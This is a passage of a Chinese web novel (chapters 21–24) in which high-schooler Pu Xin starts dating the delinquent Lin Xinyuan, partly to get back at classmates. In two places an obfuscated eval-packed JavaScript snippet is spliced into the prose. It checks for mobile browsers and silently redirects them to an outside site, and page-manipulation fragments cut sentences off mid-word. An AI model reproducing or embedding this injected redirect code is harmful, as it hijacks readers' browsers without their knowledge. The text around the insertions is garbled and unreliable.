女生走到他面前，从模糊到清晰，在他面前蹲下。 眼睛很润，扬起脸，非常可爱漂亮的一张的脸，睫毛轻颤，炽热的温度从她扶着自己的手上传来。 朴芯静了片刻，有些话昭然若揭，可是她摁住了，盯着林昕远的眼睛。 这是一个十分探究性的动作，像是懵懂好奇。 林昕远伸手摸了摸她的脸，微微塌肩，他挑了下唇，眼瞳里面醉酒的水气很多，轻慢痞气地问：“要和我谈恋爱吗朴芯。” 过了好久，久到更多的雪落下来。 在肩膀，在两人黑色的头发上，在狭小的、摆满乱七八糟酒瓶的庭院里。 甚至是在朴芯的眼睛里。 雪轻轻的一落，又很快化掉。 朴芯点头，说嗯，是的，林昕远，我想和你在一起。 21. 第 21 章 就这样确定关系。 雪一直在下，林昕远倒是表现的平常，他去洗了把脸，从桌上拆了一包烟，然后要送朴芯回家。 他就穿着那件很薄的短袖，大概是醉酒后身上燥热，林昕远把衣服稍微掀开，腰部劲瘦，每块腹肌的轮廓都异常分明。 人也醉熏熏的，身上都是很重的酒味，他点了根烟。 朴芯咳嗽了两声，林昕远稍微侧脸，瞥她一眼，把烟掐了。 月光拌着雪花往下落，朴芯心想，妈妈还不知道她有男朋友了，之前周婵不让她谈恋爱来着。 一路走到家，朴芯问：“你周一要去上学吗？” 林昕远嗯了声。 “你的校服还在我这，”朴芯踩着雪，问：“你还要吗？” “什么校服？”林昕远没反应过来。 “就是那天你和冯江打架，扔掉的那件。” 林昕远大脑实在转不动，往常他喝完酒都是直接往那一躺就睡了，今天喝得多，还难得要出来走走。 冷风一吹，他晕的只想找地方吐个痛快。 朴芯说完他也没想起来到底是哪件，刚皱眉，朴芯接着提醒说：“你离开之前来上学时穿的那一件。” 这下林昕远想起来了。 那天他临时起意要穿校服去学校，当天还把乔宇他们几个震惊住了，问他是不是看上哪个好学生，跟别人穿情侣装呢。 确实，林昕远从小到大，上学上这么多年穿校服的次数都屈指可数，到了高中更是连课都不上，更别说穿校服了。 其实当天也没别的原因，就是他马上就要走，而且一走可能永远都不回来了，准备体验体验学校生活。 当然最后也没体验出什么东西。 最后一天那个校服还穿的他很烦，打完架沾了血，林昕远没有任何留念的就扔垃圾桶了。 他没想到会在朴芯这，皱眉问：“在你这？你拿它干什么？” “我想写洗干净了再给你，”朴芯说：“我不知道你那时候不来上学了。” 林昕远明显愣了下。 走到门口，林昕远没进去，朴芯跑进房子里把校服拿给他。 藏青色的衣服被叠的很整齐，装在一个透明的封口袋里，能看到校服的领口上有道被撕破的痕迹。 林昕远认出来这确实他的校服，上面的撕口还是那天打架的时候搞的，不知道是冯江还是谁拽了下他的衣领，一高的校服质量又太烂，随便一用力就能撕破。 他接过校服，想问什么，但喝得太多了大脑实在转不动，顿了下，挥挥手让朴芯回去：“嗯，回去早点睡。” 朴芯没动。 她垂着眼，盯着林昕远拿着校服的手说：“我还有事情和你说。” “你说。” “你以后不要再和罗茜说话了，可以吗？” 林昕远不明所以地嗯了一声。 他醉得很明显，朴芯抬头的时候看见他在摁自己的眉心，摁了两下然后放下手看向朴芯。 微眯眼，眼睫密密的垂下，显得他眼形更加锐利，站在冰天雪地里，林昕远就算醉酒挡不住满身的张狂感。 “不要和谁说话？”林昕远没听清。 “罗茜，”朴芯重复。 林昕远似乎反应了一会，伸手拉过她，扣着她后颈：“你脑子里乱七八糟地在想什么？” 他手劲大，掌心炽热，贴上来的一刻连带着炽热的呼吸一起靠近，朴芯一瞬间毛骨悚然，甚至那块皮肤都感觉要滚烫起来了。 她使劲拽着林昕远的手：“你别动我！” 但怎么拽林昕远都不动，所幸他也没有其他动作，很快就松手。 他喝得真的有点多，听朴芯说话半懵半醒，也不想跟她多烦，点头：“行了，我知道了。” 朴芯听到他应声才往后退了一步。 陇县下了雪，气温都在零下五六度，朴芯又问：“你要不要那件衣服再走？” “用不上。” “那，”朴芯顿了顿，嘱咐说：“你注意安全。” 她说这话的时候还习惯性垂眼，从林昕远的角度只能看见她纤长的睫毛沾了雪。 林昕远点点头。 他往回走的途中刚走了几步路，果然还是吐了。 对着垃圾桶吐得天昏地暗，吐完就跟平常一样，点了根烟抽。 他蹲在地上，周围还在下雪。 陇县干燥，雪下得像沙子，簌簌地往人身上粘，地面上也有层松软的雪，一踩一个脚印。 月光很暗，周围也静。 林昕远吐了一场倒是缓过点劲，抽了会烟难得感觉到冷。 他把校服拿出来准备穿上，这衣服就一层布料，其实也不保暖，但穿总比没穿好。 刚打开袋子，林昕远先闻到了一股清新的香味，他低头贴着鼻子闻了下，一时间从鼻腔到肺里都是浅淡的茉莉花香。 和朴芯身上的一样，每次林昕远坐在她后面的时候都能闻到这股味道。 很香的同时又不像有些廉价的香水那样香的冲鼻，朴芯身上的味道闻起来让人觉得很舒服。 林昕远刚才醉酒呕吐的恶心感下去一些。 边抽烟边想起朴芯。 想起第一次见她时，她拉着两个大行李箱，费劲地站在自己面前，额头上都是汗珠。 不会系鞋带，刚来的那段时间头发也经常扎得很乱，人也瘦，肩胛骨薄薄的一片。 但是很会笑，对谁都笑，连对着林昕远都能笑的出来。 其实说真的，林昕远对谈恋爱这个事没多大感想。 谈就谈呗，谈恋爱不就是那点事吗，在一起吃吃饭，聊聊天，陪着玩一玩。 林昕远对朴芯也是这么想的，他的生活里多是打架，流浪，对别人没什么感情。 在陇县这个地方，他没爹没妈孤儿一个，别人自然也不会对他有什么好脸色，往往是背地里白眼讥讽，有时当面都敢无缘无故骂他两句。 林昕远小的时候还会躲着人走，等到长大一些骨子里的狠劲出来后，遇到这种情况会马上还手。 没多少人能打得过他。 以前在初中时高年级的男生基本都看不惯他，放学后堵他的一大堆，林昕远群架打得格外溜，每个找他事的人都没什么好下场。 那时候他还小，就有人叫他远哥。 他的生活环境就是这样混乱不堪，充满了以暴制暴。 朴芯是个例外。 她来到这里时太单纯了，让人一眼就能发现她的不同，而且人也蠢，被人盯上了还不知道，反而还笑的出来。 林昕远本来没打算管她，但他不爽朴芯在巷子里看他的那个眼神。 不是我欺负的你，我一没找你麻烦，二没给你背地里使绊子，你恨我干什么？ 大概所有的缘分都起源于一念之间，林昕远想做什么就去做了，他随心所欲，也从不在乎原因。 林昕远低着头，一根抽完接着抽下一根，过会手机铃声响了，他接起，是沈青。 小心翼翼地说：“昕远，在家吗？过年妈妈接你来浦江过好吗？” 林昕远轻嘶了声，咬着烟说：“你少管我行吗，你过你自己的。” 那边沈青立马静声，过了好一会才说：“你罗叔叔联系了朋友，把你学籍转到浦江，到时候就在这里上学好吗，妈妈陪陪你。” “我不是说了吗我不想走，”林昕远说：“你让我去一趟浦江我也去了，别管我了，你该干什么就干什么。” 其实沈青和林昕远的联系也是这两年才多了起来，估计沈青良心发现，忽然想起来她在这还有个儿子。 可是林昕远需要别人陪的那段时间早就过去了。 他现在只是觉得沈青这些话特别没意思。 听筒那边传来几声小孩叫妈妈的吵闹声，林昕远抽了口烟，说：“挂了。” 电话挂断，这边雪还在下。 林昕远裹着校服，烟丝红点忽明忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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徐胜盯着这句话看了会，有点惊讶了，他想起上次在修车店时林昕远对女生的那个殷勤态度。 瞬间觉得这个好像不太一样，他马上回道【好好我等着，我不着急，你晚上和他一起来好吗？】 对面没回，等了几分钟，换成徐胜熟悉的口吻 【知道了，等着】 * 他们到的时候徐胜还蹲在大排档的门口，和乔宇两人在抽烟。 乔宇点了烟问：“今天远哥来不来？回消息了吗？” “来，和他女朋友一起吧，”徐胜问：“你不是就在他隔壁班吗，没跟远哥一起？” 乔宇苦笑一声：“哎，我有点事。” “啥事？” 乔宇叹气，“算了，说了也没用，你没发现嫂子对我有意见？” “啊？”徐胜闻言侧头：“你惹她了？” 乔宇抽着烟，唉了两声，不知道该怎么开口，刚好林昕远来了，他便没再说下去，站起身。 旁边徐胜也站起来，两人朝前看，看见女生从机车上下来，林昕远等她脱下头盔整理好围巾才把书包递给她。 动作也不亲密，但透着一股罕见熟稔感。 本来徐胜心大，刚才那个话题见乔宇没说就以为是小事。 结果到了室内，桌上喝了一圈酒之后开始敬酒，徐胜热络地起来要和朴芯喝一杯：“你喝果汁就行，我不敢让你喝酒，别一会远哥骂我。” 林昕远就坐在朴芯旁边，在喝酒，没管这边。 朴芯点点头，说好。 在场的大部分人都第一次见林昕远谈恋爱，实在好奇，一顿饭吃下来，谁都想和朴芯说几句话。 朴芯也一一回了。 她好说话，男生那边就跟着兴奋，一圈敬下来就剩下乔宇。 乔宇今天也喝得挺多了，徐胜在旁边扯扯他。 别人都热络，就剩下自己不说话场面更难堪，乔宇还是站起来，他给自己倒了满满一杯酒，刻意有些讨好地说：“嫂子，我敬你。” 但朴芯毫无搭理的意思。 抬头看他一眼，明显是看见了，但没说话。 僵持几秒，桌上的气氛沉住。 22. 第 22 章 出来玩一般大家都希望和和气气的，特别这样来见对象朋友的场合，给朋友面子就相当于给自己男朋友面子。 没见过有谁像朴芯这样，直接冷脸的。 林昕远本来在和另外几个男生喝酒，察觉到气氛异样就朝这边偏头。 他扫了朴芯一眼，随即也没什么特别的表示，手撑在桌上，举起酒杯指了指乔宇，示意自己和他喝。 林昕远这边的酒杯也是满的。 他一口干，喝完，撂下杯子随即从桌上拿了盒烟抽。 没理朴芯，也没和乔宇说别的话。 态度不冷不淡，大家摸不准他什么想法，反正估计没有怪朴芯的意思，应该是不当个事？ 他不在意，那别人也不能多计较这件事，徐胜打着哈哈说：“不想喝就算了，酒也不能喝太多，乔宇今天喝得酒够多的了。” 周围几个男生也纷纷附和。 但乔宇心里还是有些忐忑，别人不知道这是怎么回事，他自己可是一清二楚。 远哥应该还不知道这件事，一旦他知道，就算他对朴芯没感情，估计也不会放过自己。 毕竟这件事干的，确实是挺无耻的。 乔宇尴尬地笑笑，说：“没事，没事，嫂子高兴就好。” 虽然大家极力调动气氛，但明显，后半场饭桌上的氛围还是受到了这件事的影响。 一段饭吃完，桌上的人陆陆续续地离开，最后就剩下朴芯和林昕远。 林昕远后靠在椅背上，仰头把一瓶酒干完，问：“你对乔宇有意见？” 有些事情朴芯还不愿意说，回答道：“有一些。” “嗯，”林昕远握着酒瓶，他身上一瞬间戾气起来，“他欺负你？” 朴芯不知道该怎么说，她对着林昕远也说不出当初的事情，就沉默了，过了会说：“我现在还不想跟你说。” 这句话在林昕远听来有些“你还没资格听”的意思。 “你别在这和我搞哑谜，”林昕远一喝酒往往就喝到醉，今天是因为要骑车所以喝没那么多，神色还清明，说：“我谈恋爱也不是欠你的。” “我没给你摆脸色。” “还没？我问你话你为什么不说。” “我说了不太想讲。” 林昕远冷笑了声：“你不想说，借着我的面子打压乔宇。你以为要不是我在这谁会惯着你？” 其实林昕远说的没错，就是不太好听。 朴芯顿时不讲话了，他们之间也不必交心，而且本来朴芯答应和他谈恋爱就是因为这些事情。 她不想解释，站起来说：“你好了没有，我回去还要写作业，该回家了。” 林昕远从桌上拿起烟盒，翘着二郎腿点烟：“等着，我抽根烟。” “你会得肺病的，”朴芯说。 “我得病死了你很高兴？这么咒我？” “我实话实说，”朴芯说：“因为你每天都抽很多烟。” 林昕远掸掸烟灰：“你每天和我待多长时间，知道抽很多烟。天天在那破学校里陪着你，我不抽烟能干什么？” “你可以去玩，”朴芯说：“而且你本来就是要在学校上课，又不是单纯为了陪我。” “少没良心，”林昕远随意瞥了她一眼说：“别人有女朋友的和女朋友玩，你让我玩吗？” “……” 朴芯微微蹙眉，他总是这样，随便说句话都能扯出点不一样的含义。 她瞪了林昕远一眼，林昕远注意到了，不过叼着烟闷笑了声，没再说话。 * 第二天去学校。 林昕远没写作业，但是数学老师让补没交作业的同学站后面补作业的时候他也站起来了。 然后到了下课就让朴芯给他写。 朴芯很烦他，本来老师都不管他，他非要站起来多找事。朴芯说自己要写生物，把自己作业给他让他自己抄。 下午有两个男生来找他，林昕远桌上摆着作业本，有一笔没一笔地抄着，聊了一会，男生说：“听说洪强这几天从看守所里出来了。” “啊他进去了？” “半个月前进去的，好像是因为打架，”男生说：“不然早就来找远哥了。” 林昕远没走之前，洪强和他基本就差不多撕破脸了，前者看林昕远是一万个不爽，要不是他忽然走了，洪强估计还要在背后找他麻烦。 林昕远听到洪强的名字接了句话，毫不惊讶地说：“该的。” “不过我艹，远哥你还不知道吧，你走了之后，隔壁班罗茜陪洪强吃过几顿饭，我以为他们要谈了。” “远哥你还是当心点，洪强玩得可阴了。” 林昕远随意地应了一声，听语气感觉他很无所谓。 但前面的朴芯却很警觉。 洪强进看守所这件事她知道，因为他没进去之前一直在骚扰朴芯。 继上次ktv她报警后，洪强他们虽然没怎么样，但估计也给了洪强一个不小的警告，他开始转变策略，声称要追求朴芯。 但他的追求就是不管朴芯答不答应，反正只要他想见自己，就会让他的小弟来教室找朴芯。 比起叶然她们，朴芯更烦洪强。 这次他出来可能还会来找朴芯，到时候事情又会怎么样呢？ 林昕远会有什么反应？ 朴芯慢慢地在书本上写下一行字，她屏气认真地听着后面林昕远和别人的聊天。 男生话不多，最常说的话是敷衍的嗯。 讨厌别人的时候会直接骂脏话，第一次正式谈恋爱，很喜欢不耐烦，经常抽烟喝酒，不会吃太甜的东西—— 她还在写着，后面忽然有人拍了下她的肩膀，朴芯骤然一愣，下意识地猛然把本子合上。 回过头看，刚才那两个男生已经走了，后面就林昕远一个人。 四目相对，林昕远探身拿本子，“你在写什么东西，防我像防贼？” 朴芯摁着本子，欲盖弥彰地说：“是数学题解析，你看不懂。” 林昕远：“……” 虽然林昕远确实是学渣，但还是第一次有人敢这么直白地说出来，他气笑了，“你找死吗？” 朴芯怕他缠着不放，摸着作业本的侧面翻开一页之前写笔记的地方给他看。 纸上是整齐的公式加数字，属于林昕远未曾涉足过的领域，他将信将疑地坐下：“写作业这么认真？叫你半天没反应。” 他坐下朴芯才松了一口气，问：“你有什么事？” “把我的兔子给我。” “……”前几天呢林昕远说那只兔子有点脏了，让朴芯带回去洗洗。 其实根本就不脏，他就是想给自己找事情做。 朴芯低头从书包里拿玩偶，她刚弯腰，林昕远忽然伸手作势要去拿本子。 朴芯吓了一跳，连玩偶都顾不上拿，立马抬头死死地捂住本子，警惕地看着他。 林昕远没真的想拿本子，他看朴芯的反应挺招人乐的，往后仰了下，翘着椅子腿笑着说：“赶紧把我的兔子给我，我要睡觉了。” 朴芯眨了下眼，不太信他，边警惕地摁着本子边弯腰找玩偶，然后扔给林昕远：“你好无聊。” 她给完兔子后转过身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387092|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，身后传来轻微的拉椅子的响声，应该是林昕远正准备睡觉。 朴芯往前坐了一点，确保自己能完全挡住本子，她小心地翻开本子看了一眼刚才写的东西，字迹密密麻麻。 抽烟、打架、脏话…… 朴芯又拿黑笔一字一句地涂掉，然后合上本子装进书包。 其实在最开始那个渺远的，“让罗茜他们不爽”的想法一闪而过后，留在朴芯脑子里的只有茫然。 甚至和林昕远确定关系的当天，朴芯就想过要分手，只是一直都没有说出来。 因为没法说，难道要直白地告诉他，我和你在一起只是想要报复别人吗？ 一旦她这样说，可能会惹怒林昕远。 而且就算接着在一起又要怎么报复？ 他会为了自己去找乔宇和罗茜麻烦吗，好像不会，毕竟他们是多年朋友，而自己和林昕远才认识几个月。 还有洪强，他不是学生，社会上的朋友多，不像叶然、陶西红那样容易服软，林昕远应该也不会主动去招惹他。 但如果是这样维持现状的话，她只能简单的膈应到乔宇他们，对他们造不成任何实质性的伤害。 而且，林昕远又是为什么想和她在一起。 他帮自己的代价又是什么，自己能承受的了吗？ 要不然还是分手好了，这样下去也没意思。 或者坚持到毕业，只要考完高考，她报完志愿，考出这里一切就都能结束了。 除此之外，她好像也没有别的办法。 * 自从听到洪强的消息后朴芯就一直很谨慎。 她担心会遇到洪强，而林昕远则还是每天无所事事，陪吃饭，送朴芯回家。 他对洪强的态度很无所谓，压根不把这个人放在眼里，大不了就打一架，又不是没打过，洪强都在他手底下输过多少回了。 朴芯提心吊胆了好几天，在周六的时候偶然撞见了洪强。 当时是在朴芯家附近的小卖部，朴芯蹲在货架旁边买速食，刚起来，看见洪强冯江他们从超市门口进来，大嗓门地呼喊老板让拿烟。 老板看起来也怕这几个五大三粗的男生，赶紧笑着应好。 洪强拿了两条烟，没走，跟冯江说了什么，往货架这边来。 店里人少，这边更是只有朴芯一个人，只要洪强走过来就会看见她，退无可退。 朴芯放下刚才选东西，心跳得很快，她稍微弯腰，把围巾拉高挡住脸。 在洪强绕过货架正要过来的瞬间，朴芯低着头站起身，快步朝门口走。 冯江几人还在门口，朴芯小心地从中间挤过去。 空隙狭小，因此难免会撞到人。 冯江被不轻不重地挤了一下，顿时瞪眼骂道：“”谁啊走路不看人啊？”然后伸手就要拉住对方。 朴芯还没等他碰到自己，立马侧了下身，然后朝门外跑去。 电光石火间，冯江只看清对方模糊的侧脸，但这一下就够他认出来这是谁了，冯江愣了几秒，拨开前面的一个男生朝超市里喊：“强哥，我刚才好像看见朴芯了。” 洪强还记得这个名字，那个从大城市来的小美女，他从货架前直起身：“哪？” “刚走，”冯江说：“才从超市里跑出去，戴灰围巾的那个。” 洪强刚才走过来时视线中确实有个灰色的身影一闪而过，走得很着急，他问：“你看清了？” “看清了，”冯江比划着询问：“强哥，她刚走，用不用去追？” “不用，”洪强舔舔嘴唇，说：“就这么大点地方她还能跑到哪？” 23. 第 23 章 831改 洪强留给朴芯的阴影远比其他人要多，从那天开始她逐渐小心，基本放学就回家，平时也不外出。 一月中旬，学校临时要举办冬季运动会，刘华连难得让大家放松，把周三运动会之前的最后一节晚自习都调整成了自由活动，允许参加运动会的学生去操场练项目。 冬季运动会只比长跑、跳绳、踢毽子三个项目，朴芯其实擅长跑步，但她没参加项目。 报名的时候林昕远在教室，刘华连让他报个五十米。 林昕远本来就懒得在教室里待着，这下正好有个正当理由能每天出去晃悠，就答应了。 这段时间里朴芯逐渐又觉得自己和他在一起可能是个错误。 她也不清楚自己为什么会有这种情绪，其实和林昕远在一起这个决定确实让朴芯避免了很多麻烦。 叶然和陶西红不会再来烦她，学校里也没人会给她使绊子。 但她仍然不习惯林昕远有时忽然的靠近，忽然和她说话，忽然决定要陪她去办公室交作业。 也觉得每天他送自己回家，两人没有交流的一前一后走的那段路有些难熬。 林昕远大多数时候也没再抽烟，手插在口袋里，走路时微微驼背，但因为身高摆在那里，所以看起来还是很有压迫感。 每次朴芯跟在他身后时都会想，再坚持一下，等到高考完离开陇县一切都会好起来。 时间一天天过去，陇县附近的砖厂一年四季都在运行，因此一到冬天，整个县城都被雾霾覆盖，朦胧的雾气覆盖住学校，能见度不超过十米。 这么呼吸几天，朴芯的鼻炎又要犯了，有时候连呼吸都隐约的感到疼。 到周三她实在不舒服，一个上午都待在座位上。 冬季林昕远今天难得没来学校，下午旁边的吴若莹听见朴芯的咳嗽声回过头问：“你还好吗，感冒了？” “可能鼻炎犯了，”朴芯说：“没事，过几天就好了。” “哦，去接水吗？”吴若莹问。 “好，”朴芯弯腰想找水杯，但桌子里没有，她想起什么，转身去翻林昕远的书包，在里面找到了自己的水杯。 ——不知道什么时候放进去的。 有时候林昕远会嫌她拿着东西走的太慢，随手接过她手里的水杯、书包或者是其他东西。 吴若莹目睹全程，出了教室后，走廊上仍然的雾气厚重，朴芯侧脸咳嗽两声，排在队伍末梢。 饮水机靠近二班，能听到里面的吵闹声，乔宇正站在窗边和罗茜说着些什么，后者的神情不耐烦，起身往讲台上走。 乔宇转头时看见了朴芯，尴尬地朝这边挤出一个微笑，朴芯没理，吴若莹其实和他们都认识，抬手挥了下胳膊就当打招呼了。 等他离开窗户后，吴若莹转头问朴芯：“你和林昕远谈恋爱感觉怎么样？” 朴芯说：“还好。” 态度有些回避，吴若莹对此不意外，点点头说：“林昕远那种人应该不会让女朋友受到欺负，之前我认识的好多人都喜欢他来着，但都没能和他在一起。罗茜也挺喜欢他的。 “有次我们运动会，林昕远一个人顶了五六个项目，最后一项是长跑应该，差点没累死，跑完脸都红了，当时罗茜在旁边感觉都要急哭了。不过既然你们都谈上了，那也没有别人什么事了。” 朴芯听到的所有关于林昕远的消息都是片段式的，她知道的远没有吴若莹多。 但也能看出来林昕远是个很招周围喜欢的人，他身边无论是爱慕他的女生还是男性朋友，不管人品好还是差，对他都十分真心。 乔宇是这样，罗茜也是这样，但只是因为林昕远一次运动会太累就急得要哭吗？ 那如果他受伤了，乔宇他们应该会更加难受吧…… 这个念头在朴芯的脑海中一闪而过，她侧身咳嗽几声，思绪中断。后知后觉听懂她说的这些话是安慰。 因此勉强笑了下，说：“谢谢。” 吴若莹还要去办公室拿物理作业，没多说，把水杯交给朴芯让她帮忙带到教室就走了。 * 林昕远吃午饭的时候就来学校了，应该是在家睡了一觉，一副刚起床的懒散样，饭吃到一半问朴芯自己手机在哪。 林昕远很奇怪，一般人出门在外手机都是必需品，林昕远则是带不带都无所谓，有时候连书包一起扔在学校里，有时候则扔给朴芯。 他也没有花里胡哨的社交账号。 □□很少登，vx上人加也不多，别人联系他要么打电话要么发短信。 朴芯说在教室里。 林昕远也没太在意，说一会运动会的时候拿给他。 朴芯待会运动会的时候不想出来，问道：“你自己回去拿，运动会的时候我不想下去。” “下来，”林昕远说：“过来看我比赛。” 朴芯说：“跑步有什么好看的？” 林昕远就没耐心听她这些乱七八糟的，敲敲桌子说：“让你来你就来。” 但中午的时候林昕远还是跟她回了教室一趟，到广播宣布运动会开始他才下去。 一高几个年级的学生加起来人也多，操场上都是人，朴芯跟着林昕远往高三一班所在的地方走。 虽然是冬天，但沿路都看到不少女生都化了妆穿着短裙坐在篮球框那边，男生里穿半袖短裤的也有。 徐胜今天下班早，想来陇县找人喝酒，不知道怎么混进学校的，朴芯还没走近就听到他和几个男生在讨论。 徐胜说：“洪强最近在干什么，有没有找事？” “不知道，没注意啊。” “远哥呢？还天天在陪他那个女朋友？” “还在谈啊？我以为远哥玩玩呢。” “谈，他现在天天去学校，不过那个女生，我艹一点面子不给远哥。无论什么时候出来都一张冷脸，但我看远哥挺爱的。” “真的假的，我不信，”旁边一个黄外套的男生惊疑。 毕竟林昕远这人，别说给他冷脸看了，就连有人在他面前说句不好听的话都能惹到他。 还挺爱呢，黄外套评价说：“他肯定是演的，哄人家小女生呢。” 旁边也有几个男生点头，徐胜不赞同：“演个jb，就我远哥那张脸还需要演，他真爱，你们别不信。” 还没聊完，有人注意到林昕远穿着件黑色的外套正往这走，顿时住嘴叫道：“远哥，这！” 朴芯都能听见他们的议论声，林昕远肯定也听见了，他过去直接踹了刚才几个说话的男生一人一脚：“叨叨个没完，闲得你们。” 几个男生显然都不敢对林昕远有意见，讪笑着让座。 朴芯站了会，周围男生多，有的人甚至刚抽完烟回来，朴芯侧脸咳嗽了两声，林昕远听见声问：“你鼻炎犯了？” “有点，”朴芯说。 “家里还有药吗？” “应该还有。” “有还是没有？” 朴芯抿唇，说：“还有口服药，喷雾快用完了。”她不想多聊这些，改变话题她过会说自己要去一班那边坐，林昕远问她在那，朴芯伸手指了下。 林昕远顺着她手指的方向眯眼看去，看见刘华连站在班级前面，就点头说：“行，一会比赛的时候我去找你。” “哦。” 朴芯虽然是这么说的，但其实也不去一班，就在就在操场附近找了个位置站，拿着林昕远的手机。 过会看见二班的人下来了，乔宇和罗茜都往刚才林昕远在的地方走。 徐怀仁从一边过来，来找朴芯，问她愿不愿意去帮忙检录。 平时徐怀仁帮她挺多的，所以朴芯也没拒绝。 就和他一起往检录处走，徐怀仁的性格好像也比较内向，两人一路上也没有说话，走到检录处，徐怀仁把一沓号码簿递给她。 “待会你负责帮我检录。” “好。” 徐怀仁笑笑，问：“给你的生物资料有什么不懂的吗，可以来问我。” “现在还没有，”朴芯说：“昨天刚看了一遍，写得很详细，谢谢你。” “没事，你用得上就好。” 这边刚聊几句，那边乔宇在林昕远的旁边坐下，问徐胜 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冬季三项的比赛都是同时进行的，刚好短跑叫到林昕远，他站起来。 朴芯这边徐怀仁临时被老师叫走，她拿着报名册检录。 但运动员全是男生又不听指挥，朴芯都报完跑道了，他们还要挨个问一遍，人多声音也杂，场面一片混乱。 朴芯正低头看手册回答一个男生的问题，忽热被人摁住手。 她还没来及反应，林昕远从她手里抽出检录册，转身说：“都闭嘴，不会排队？” 林昕远就是那种无论在什么地方出现，走哪哪噤声的人，他一说话，周围立马安静。 林昕远拿过朴芯手里的检录册挨个报名字：“李凡，一组一道，赵星辰，一组二道……” 每报一个名字都有人乖乖站好。 报了几组之后徐怀仁回来了，他先看了眼朴芯，林昕远伸手把检录册扔给他，说：“以后别让她帮忙做事，我看不惯。” 林昕远语气不嚣张，但是听在别人耳朵里格外有压迫感，他说完也没管别人，往朴芯肩膀上推了下，示意她跟自己走。 朴芯被带着往前走，只得匆忙朝后面的徐怀仁比了一个抱歉的手势。后者注意到这个小动作了，他很快笑笑，表示没事。 * 林昕远是第七组比赛，他让朴芯去终点等他，本来朴芯不想去，林昕远看出来了，勾了下唇，说：“去看看，我给你拿个第一。” 虽然一高确实不是什么好高中，但毕竟混的人比较多，学生都是野惯了的那种，刚才朴芯检录的时候瞥见好几个男生穿着背心，浑身精瘦，一看就特别会跑步。 所以她不信，敷衍着说：“哦。” 把林昕远逗乐了，他笑着骂了句：“tm的你对我说句好话会死？去前面看着，今天不是第一我给你磕一个。” 朴芯踹了下他的椅子，没踹准，踹到林昕远的腿了，其实也不重，但林昕远伸手拉过她：“找死啊？” 朴芯自知理亏，赶紧缩手说：“你别动我，我去终点等你。” “你就是欠的，”林昕远一把捞住她手臂，往前伸腿：“刚才踢哪了，赶紧给我擦干净。” 朴芯：“你先松手我才能动。” 她冬天怕冷，羽绒服外面还要再套一件外套，因此林昕远握上去感觉像握了一团棉花，手往下陷，说：“你还有一只手呢，不能动？” 朴芯被拉着，都快坐到他身上了，赶紧解释说：“你这样拉着我我弯不了腰，够不着。” 林昕远腿长，保持这个姿势让朴芯去擦确实有些强人所难了，他像是觉得好玩似得闷笑了声，不知道是在笑朴芯说的话还是在得意自己腿长，然后松手。 刚松开，朴芯退后半步，对着他小腿踹了一脚赶紧转身跑了。 林昕远猝不及防，在背后骂了句艹。 旁边徐胜目睹全程，没憋住笑，刚乐了一声，林昕远朝他看：“过来给我擦了。” 徐胜：“……” 靠，你们情侣的事折磨我干什么？ 24. 第 24 章 朴芯跑出几步远还回头看了一眼，林昕远正懒洋洋地往后靠在墙上。 似是感应到女生的目光，他扯了扯嘴角，伸手比了个大拇指，随即往下压，手指轻点，又是控诉又是警告。 就算朴芯再讨厌他也不得不承认，林昕远确实长得好，身上有股难以言喻的感觉，让人一眼就难忘。 她回过头，刚回头就看到乔宇和罗茜正站在不远处。 朴芯刚才还放松的心情瞬间往下坠，她抿了下唇，低头往前走。 * 第七组是最后一组，这组比完就能知道成绩。 很奇怪，大概是刚才林昕远说的过于笃定，所以他刚站上跑道时朴芯就感觉他会是第一。 果不其然，发令枪一响，林昕远直接在他和第二名之间拉出了一条无人区。 一百米虽然是短跑，但却是高爆发项目，大部分运动员跑完都会有短时间的力竭。 林昕远刚冲过线就直接扯住操场旁边的朴芯，后者肩膀一沉，被他带着被迫低头。 终点线这边学生多，林昕远又格外的引人瞩目，他刚靠过来满操场的视线就紧跟着看向朴芯。 朴芯立马想推开他，但她的力气和林昕远比简直是小巫见大巫。 男生胸膛剧烈起伏，呼吸沉重，从脖子到耳侧都明显的泛红，脖颈上更是青筋凸起。 但就这样还是轻易制住朴芯，朴芯刚才学到了，下意识地想往他腿上踢，刚动却看见乔宇和罗茜正往朝这边看。 朴芯顿住，手掌空握了下，片刻后放到林昕远的后背上，轻拍着帮他顺气。 她的触碰虽然轻但却十分明显。 林昕远就穿了件黑色的套头衫，能清晰地感知到她抚过自己脊背时的感觉——像团松软的毛绒线蹭过，带着一些痒意。 林昕远偏头，他好像还没缓过劲，但人在笑，嘴角轻扯，“怎么乖了啊。” * 朴芯要用的喷雾在陇县买不到，需要到隔壁镇上医院买。 林昕远很早就会骑机车，早几年他玩车也玩的挺猛的，压弯漂移，样样都来，从没出过意外。 但俗话说人狂自有天收，林昕远今天头一次骑车摔了一跤。 他医院回来去了朋友的台球厅，刚好徐胜也在，回头就看见他脸上的伤，一下站起来：“你咋了，跟谁打架了？” 林昕远神色恹恹的，说：“没打架，刚骑车摔了。” 他坐在沙发上挽起袖子，徐胜这才看清他手肘上磨了一大块皮，血肉模糊，染的衣袖上都一片深色痕迹。 往下看灰色的牛仔裤上也洇出一片深的痕迹。 徐胜顿时问：“这么大的雾霾你还骑什么摩托，怎么摔的这么严重？小齐，快快找碘酒消毒。” “哎，我现在去找。” 徐胜坐在他旁边，看他腿上也有伤，还在说：“你这伤的别留疤了，早说让你骑车慢点……” “你别唠叨了行吗？”林昕远看起来不想谈这些事情，把手里的塑料袋扔给他，吩咐说：“把这个送给朴芯，一会放学你顺便送她回家，我就不去了。别乱说话。” 徐胜接过袋子，往里面看了一眼，都是药，他一愣问：“你今天是去给你女朋友买药？” 林昕远没说话，不耐烦地挥手让他快点去办事。 他的话徐胜也没办法不听，就去了。 林昕远坐在沙发上，过会小齐把碘酒拿过来放在他面前。 